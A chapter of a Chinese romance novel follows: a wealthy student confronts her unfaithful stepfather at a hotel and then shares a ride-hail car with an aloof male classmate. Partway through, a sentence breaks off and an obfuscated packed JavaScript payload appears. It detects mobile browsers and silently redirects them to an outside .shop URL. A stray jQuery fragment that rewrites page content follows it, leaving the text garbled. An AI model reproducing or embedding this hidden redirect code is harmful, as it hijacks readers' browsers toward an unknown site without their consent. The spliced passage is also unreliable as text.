漆黑车身划过柏油路,在酒店门口停,女生从加长轿车上下来,戴一顶鸭舌帽,帽檐压低,散落在肩膀的长发光泽柔顺,末梢随动作微微晃,一截白色的耳机线若隐若现。
每个鼓点都清晰,每个音符都分明,脚步踩在节奏上,气势磅礴地往前走,此时眉微皱,似乎有些不满意,扯掉耳机,看了身后的两男人一眼。
“等什么呢?”语调利落尖锐,破开他们的停滞不前,两人迅速跟上。
手机屏还亮着,开学第一天,校园墙里多是关于校区合并的事,最新一条帖子。
——猜猜今天哪个重磅人物会来!
下头都在问,但发帖人故意卖关子,不说是谁,只发了句似是而非的评论。
——没错,就是那个最帅最冷最聪明的。
她边划边看,走得很快,在行进路上没注意,撞上一个人。
是个男生,身段颀长,笔直清瘦,高出她一个头,男生扶了把她,随后松开。她鼻尖闻到股淡淡的味道,不是香薰或香水,近似安神乳霜那样很轻的味道。她晃神,擦肩而过时回首瞅他一眼说句抱歉,心神不在这,收起手机继续笔直朝前走。
“啪!”
酒店长廊内,四周的房客被这声巨响惊得探头查看,女孩手掌大力拍在门上:“出来!”
里头静悄悄一片,于是加大力度,掌心已经拍到红,胸口不断起伏,怒气顺着房门的敲打回声一阵阵荡在酒店长廊。尽管廊内灯光昏暗,也不难看出那是极美的一张脸,表情冷峻,骨相立体,紧缩的眉头反而为精致的五官添了几分迷人的距离感。
她身后还有几位酒店的工作人员,众人脸色皆是紧张僵硬,交换眼神后却没有一个敢制止她的动作。
“施小姐,房卡来了!”一男人从电梯跑出来,气喘吁吁将房卡递到施荷手中,她刷卡开门,房内却空空如也。
手腕传来阵阵酸痛感,施荷转过身:“麻烦把这层楼没入住的房间全部打开。”
“这......”经理有些为难,四周房客窃窃私语,眼神在施荷身上不断打量,有好事者拿出手机拍照,立即被她身后的助理制止。
“客人都看着,您要不先去我办公室,咱们......”
“把通用钥匙给我,这件事和你们没关系。”施荷拿过通用卡,对他们做了个手势。
经理急得脑门直冒汗,嘴上劝阻着,却悄悄拉了拉身旁的工作人员后退,生怕这位大小姐的怒气波及到自己,一路退到电梯门口,不明所以的实习生努了努嘴,用气音问:“这是干什么呀,这么横?”
“施家的呗,惹不起。”有男生接话。
“真是奇了,还没见过女儿来抓老子奸的。”
“习惯就好,上个月在隔壁也来了一回,骂得那叫一个狗血喷头。都这地步了,正室还不肯离呢,要不说吴善运气好,吃人家的用人家的,还敢这么风流,就是这位施小姐遭罪,不过看她这样,应该也习惯了。”
“都闭嘴都闭嘴!”经理气急败坏地在那男生肩上拍了一把,怒斥,“是真是假都要烂在肚子里,绝对不能从我们这传出一个字!”
廊内,施荷还在刷着卡,绿灯闪烁,一扇又一扇的房门被打开,可还是没有找到,施荷心跳加快,脚步越来越急促,她不知道自己在期待什么,这样的情形上演过多少次了,但手还是会抖,直到最后一间房,见着房内的人,心中忽然泄一口气。
......
窗帘刷地被全部拉开,惨白天光映亮总统套房,吴善正端坐在宽敞的沙发上,手里拿着个杯子,一副心如止水静思打坐的样子,而后眉毛诧异地挑了挑:“小荷。你怎么来了?”
他居然还笑得出来。
“人呢?”施荷边问边回头,棕色单鞋将门关上,隔绝掉所有滚烫视线。
吴善眯着眼睛,坐姿没有丝毫改变:“什么人?”
她见这样子也没打算继续问下去,转而走到床沿,掀开凌乱的被子,发丝被气流扬得微乱。没发现蛛丝马迹,但她继续下去,客卧,小食台,卫生间,每个地方都转一遍,查一遍,与此同时,吴善看着她的一举一动,缓缓站起来:“你这是干什么啊,也不怕别人看见,到时候又传些谣言让你妈伤心。”
后几个字让她的脚步顿了顿,她回头对上吴善,已经恨到麻木,所以面色平静,她慢慢说:“做了亏心事,就别怕鬼敲门,”
吴善摇头:“你这疑神疑鬼的脾气什么时候能改改?”
施荷继续找着,吴善现在有了经验,所以把一切痕迹都处理的很干净,直到她在马桶冲水键后发现了一枚小小的东西,抽了张纸巾,捏着那东西走出来,在吴善面前晃了晃:“这是你的?”
吴善表情变了一刹那,紧接着回:“是我的,不就隐形眼镜嘛。”
“你近视?”
“最近看资料太多。”
施荷哦了声,端详着镜片:“你的隐形眼镜还带花纹啊。”
“......”
“要不要去提取一下指纹呢?”她笑了笑,从通讯录里找出个号码,“李叔就在鉴定所,结果应该很快出来。”
“有必要这样吗?”
“这款式女生喜欢,说不定是上个房客留下来的,别让谣言传出去,查一查正好还你清白咯。”
手指落在拨号界面,就快要按下去——
房内被翻得一片狼藉,气氛让人窒息,窗边旭日初升,金色的晨光透过窗户打在施荷的半边脸上,吴善看着笑脸盈盈的她,脊背处一阵寒凉,在理智和冲动间挣扎着,最后一秒终于溃不成军,双手合十:“我保证这是最后一次......”
施荷开始没说话,静静地盯了他一会儿,长发披在两肩,眼神完全冷下去,在吴善看来当真像是从地狱来索命的恶鬼,他屏住呼吸等着,然而片刻后那恶鬼没有再折磨他,转而将手里东西丢进垃圾桶:“......让你助理一起去医院,体检完直接回家,记得消毒。”
说完将门打开,围观者已消失不见,两助理颔首站在门外,对着吴善做了个“请”的手势。
他反应了两秒,脸上的笑容绽开来:“好好好,你也快回去吧,开学第一天别迟到了。晚上回来吃吗,我让阿姨煲汤。”
戏剧落场,观众散尽,施荷在凌乱的房间里站着,环顾四周,最终叹出长长的一口气。
到酒店大堂时,恰好看见吴善和助理在路边上车,车边站着个人,他穿着薄卫衣,肩膀背一个双肩包,看汽车飞驰而去。
这男生她冲进大楼时见过,一见着她,目光就锁在她身上,在来来往往的行人里特别明显,如今她出来了,他倒别开了头,活像通风报信的。
吴善这人为了偷腥什么都做得出来,找人扮演司机、保安配合是常有的事,所以她得防着。
施荷走至男生面前,扫了他一眼,男生感受到来自她的视线,也回看过去。
他放在人群里实在很扎眼,面容特别清秀,五官比例恰到好处,就是周身气场冷冷的,这股气场让他和周围隔绝开,很有记忆点的一个男生。
“他让你来盯梢?”施荷摇摇头,“你不合适。”
九月初的天气依然燥热,男生额角有汗,看起来却还是清爽得不行,衣领被风扬动,眉微皱:“你认错人了。”
“行。”
她笑笑,家里的车载着吴善
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17681013|207694||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
走了,她划手机打车,他好像被她这样戏谑的态度惹到了,没说什么,似乎懒得跟她争辩,但呼吸沉沉的。
这个点是用车高峰期,施荷比较幸运,她站在路口等了几分钟,车就到了,身旁的男生也杵在那儿,这时候才有了点动静,越过她径直拉开车门,坐进去,关上,砰一声响。
什么情况。
施荷赶忙敲了敲后窗,男生冷漠的侧脸对着她,然而窗玻璃缓缓下降,他有点儿疲倦问:“又怎么了?”
“这是我的车!”她问司机,“搞错了吧。”
司机闻言检查了接单页面,点点头:“这是你俩的车,拼单。”
“拼单?不可能啊......”
她点开订单详情,还真是,估计手滑点错了,想几秒后问:“能改成专车么,我加钱。”
男生脸上的不悦感越来越强,拧着眉毛看着司机,没做声。
司机有些尴尬:“这不好吧姑娘,小伙子先打的,等了可久才拼到你,目的地都是A大,去报到的吧?说不定还是同学呢。”
她听见“A大”两字有些惊讶,抿着唇,盘算着等下一趟的时间,阳光毒烈,她的发丝黏腻在后颈,夹着先前的情绪加成,整个人又浮又躁,没多思考就对男生说:“那要不我给你加钱,你能下车么。”
“不能。”
“很急?”
“嗯,等着赶下一趟盯梢。”男生吐出这几个字,别了别头,用后脑勺对着她。
“......”
后方的喇叭声响起,车流催促着,交通灯绿着,施荷还是上了这辆,她从另一端进,坐下时后座由于她的动作轻微凹陷了进去,男生感受到动静,目视前方,她关门的声儿有点儿大。
“姑娘你悠着点儿,我这车都快赶上你年龄了!”
司机喊一句,麻利发动,油门踩得猛,她和他同时往前移,膝盖碰到一起,又同时收回腿,她往左挪了一点儿,将包放在两人中间,这时候电话铃响了。
“喂,你在哪儿啊,我们都等你呢!”
对面传来女声,施荷看了看男生,他依然目不斜视,面无表情,高挺的鼻梁上滑下一滴汗。
“有点事耽搁了,马上就到。”
挂断后她拿着手机打开群聊,未读消息已经到了惊人的数字。
辛锐佳:校区合并第一天简直大饱眼福,要我说西苑的帅哥就是多,再看看东苑,什么歪瓜裂枣。
方逢秋:这话说的有点过分了吧,咱们东苑比颜值怕过谁?我爸和我说这个合并的消息时我就不乐意,西苑那群领奖学金的一过来,穷酸味儿都重了。
辛锐佳:你纯属嫉妒,听说没,盛池中也来了!
方逢秋:至于这么激动么。
辛锐佳:怎么不至于?听说他在西苑年年拿第一,西苑不都是成绩拔尖的吗,还是读生物技术的,你懂什么是氢氦锂砒硼不?
方逢秋:那是化学吧,你连24个英文字母都认不全好吗。
辛锐佳:是26啊白痴!细节不重要,人不但是学霸,长得还巨帅。虽然我没见过,但好期待哦,今晚开学演讲就能一睹芳容。
车内的空调打散焦灼,汗收了,人也静下来,甚至有些凉,出风口正对着她膝盖,丝丝冒着冷气,她抚了抚膝,在手机上敲下一句。
——有那么神吗。
下一秒,那个一路安静的男生开口:“师傅,能把风调小点儿吗,直对着吹受不了。”
司机点头,又透过后视镜问:“姑娘你呢,热不热?我调小了啊?”
“哦......好。”
施荷因此再朝他那摞一眼,看见他将领口扯低了些。